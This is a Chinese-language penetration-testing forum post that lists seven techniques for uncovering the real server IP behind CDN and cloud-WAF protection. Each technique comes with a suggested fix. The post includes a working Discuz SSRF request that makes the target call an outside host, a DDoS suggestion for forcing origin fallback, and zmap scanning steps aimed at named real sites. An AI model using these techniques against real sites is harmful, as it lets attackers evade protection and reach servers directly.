国内民间中小型网站有常见的"360网站卫士","百度云加速","云盾","安全宝"等 和国外这类CDN+云WAF的始祖"cloudflare" 以及 我国各大部级单位网站和各类大型公司所使用的cdn 例如蓝汛,网宿等等。
CDN的存在导致渗透测试时无法对web服务器进行直接攻击。攻击扫描等也会被cdn自带的waf拦截。是任何hacker在渗透时的一大阻碍(个别人会直接攻击篡改CDN,这时CDN反而成为入口,这种情况这里不讲,以后讲)。
可以将CDN简单的理解为 web服务器的一层外强中干的堡垒,因为其保护作用只能起到表层,一旦被攻击者获取服务器的真实ip CDN则由铠甲变为皇帝的新装。
所以讲了这么多废话,要进入正文了,总结一下各种逆向cdn查找源IP的方式。
第一种:SMTP发送邮件泄露源站ip
最简单,常见的方式。大部分公用SMTP服务在发信时邮件头会带上发件者ip,这样导致cdn直接失去对攻击者的防护意义。
这里用hack80.com来举个例子,通过多地ping出现的多个ip 可以推断他部署了cdn类服务
![](https://i-blog.csdnimg.cn/blog_migrate/c13f72fd99df940aa11a69922156d8c1.png)
disucz论坛,我们可以通过注册账号 或者找回密码等 任何可以让网站发送一个邮件给我们的方式 来获取源ip
这里我找回密码举例 提交后 ,去我的邮箱中 ,查看该邮件原文
即可获得web服务器的源ip。 具体获得源ip后怎么利用在文末一起总结
解决方案:使用邮件头不显示ip的smtp服务,或者将邮件服务更改为使用WEBAPI发送邮件即可。
第二种:子域名与目标域名在一个服务器却没做cdn
这种情况也很常见。有些粗心大意的站长 只把自己的主要业务域名部署了cdn,而在一个服务器的子域名却不部署。
这样导致黑客只需要获取一份子域名列表 挨个对子域名的ip与目标域名相匹配,直到访问成功即可
这里我用的是seay法师 大牛的layer子域名爆破程序 ,很好用。论坛内有下载地址。需要的可以去看一下
这个方式是很简单 且 很通用的思路。
解决方案:细心部署,避免子域名裸奔
第三种:泄露IP的程序
这个也很简单,扫描目标web目录 获取一个phpinfo 探针类文件 ,基本上都存有服务器真实ip
在phpinfo里对应项为
该方法没有什么特别多需要介绍的。
解决方案:删除敏感文件
第四种:域名历史解析ip
也是一种比较可行的方案,目前国内提供该服务的网站有ip138等,国外有一个更准确 ,但是我想不起了
一般网站从部署开始到使用cdn都有一个过程,周期如果较长的话 则可以通过这类 历史解析记录查询等方式获取源站ip。
为避免出现误差,可以将所有历史ip采集下来 挨个与当前域名匹配。
这种方案受限于 解析变更极少,CDN部署很早。或者域名收录量太低 等几种情况
解决方案:cdn部署尽早?减少解析次数?
第五种:DDOS
说真的这个方式我不知道写在这里好不好,这个帖子里所写的方式只有这一种我没成功过
但是很多大牛都说曾实现过,作为方法收录。 我也就记载进来了
据传(因为本人能力有限并未成功复现过): 免费cdn在受到的攻击超过自己所承受的防御时则会将域名回源
但是按本人理解 ddos攻击域名时cdn商并没有很好的办法(二分法属于一种,但是并不能做到百分百)可以判断出是具体哪个域名遭到了攻击。所以本人认为该方案可行性很低
但不排除cdn会将该cdn上部署的所有域名全回源了。
有流量的各位可以试一下 百度云加速和云盾免费版都是防御5GB/S流量,看看超过了到底能不能让域名回源。
解决方案:换靠谱的cdn。
第六种:SSRF
乌云峰会的时候 猪猪侠曾讲过"SSRF是只影响有钱人的漏洞" 但在渗透测试的时候 我们的目标并不是个个都是有钱人 有BAT他们那样大的内网
我们只是简单的想取一个源站ip,这时候SSRF也能帮我们一把
以discuz举例 (DZ官方似乎并不把SSRF当漏洞,所以该方案可行度很高)
我们这里用春秋论坛做例子,discuz ssrf的exp为(回复可见):/forum.php?mod=ajax&action=dkwnremkteimg&message=[img=1,1]http://183.60.109.99:3319/aq9w.jpg[/lmg]
这里我用HFS而不用NC做演示 因为HFS可以更容易更直观的演示
执行exp 春秋论坛就会访问exp内jpg文件 我们在HFS上即可查到来访者ip
该ip即为真实web服务器ip,针对存在ssrf的网站 这种方法获取源站ip的准确度基本为百分百,我们直接访问ip可以确定
目前针对discuz没有很好的解决方案。dz不允许php关闭all url open 官方也没有推送补丁(如果有请在本帖贴出补丁编号)。
解决方案:针对程序存在ssrf的地方做修改。
第七种(万能方式):扫描全球ip匹配web内容
弱水三千,奈何只取一瓢饮。
在本帖以上方法都不管用的情况下,该方法基本上适用于任何情况
并且也已经有先辈成功复现 使用zmap扫描整个亚洲ip 匹配到wooyun的源站ip
这里我直接贴上先辈复现内容,具体哪位我没找到,希望知道的人可以联系我一下,我补上版权。
0x1.获取CNIP
从apnic获取亚洲区域所分配到的IP,过滤出CN的IP.
wgetftp://ftp.apnic.net/public/apnic ... egated-apnic-latest
0x2.端口扫描
使用zmap对全CN的IP的80端口进行扫描.
嗯,在我的vps上大概需要20min,所以还是先出去喝杯咖啡
0x3.获取banner
使用zmap的banner-grab对扫描出来80端口开放的主机进行banner抓取
嗯,在http-req中的Host写www.wooyun.org,并且使用ulimit将最大文件描述符数修改为一个较大的值,
直接开扫:
唔,在这里,考虑到www.wooyun.org打开挺慢的,所以将连接超时和读超时都设置为30s,这段时间可以出去看电影.
0x4.数据处理
使用关键字"80sec"对获取的数据进行简单过滤
这400+的服务器,一般可以分为三种:
*baiducdnserver*httpproxyserver*www.wooyun.comserver
可以对这400+服务器再进行一次banner获取,不设置Host,过滤掉baiducdn错误页面,空页面,超时等乱七八糟的页面,然后就可以得到结果了,我去问了一下相关负责人www.wooyun.org的真实IP,果不其然
总耗时大概两个多小时。
0x5.猜想
一些公司的测试服务器是放在外网的,一般只有绑定了Host才能进行访问,所以...
0x6.感谢
唔,这主题是从我的vps蜜罐上看到有人设置一些莫名其妙的Host得出的猜想.thx
思路很棒,如果要防御这种模式也并不困难。
解决方案:我们可以将web设置为只对cdnip响应正常页面内容 对cdnip以外的ip均设置为 黑名单 访问返回错误即可。
应该是有更好的解决方案的,但是我太瞌睡了实在是不想想这个方法的解决方案了。。。
总结一下获取到源站ip后如何利用。
对于攻击者而言 最简单的就是将源站ip直接HOST绑定到目标域名上 ,这样在访问时即可绕过CDN 直接访问源站 进行攻击时也不会受到CDN限制。
到这里为止常见的好用的套路基本都讲完了。
本人总结的一条经验:任何让服务器主动发起请求连接攻击者的方式 都可能导致服务器不安全。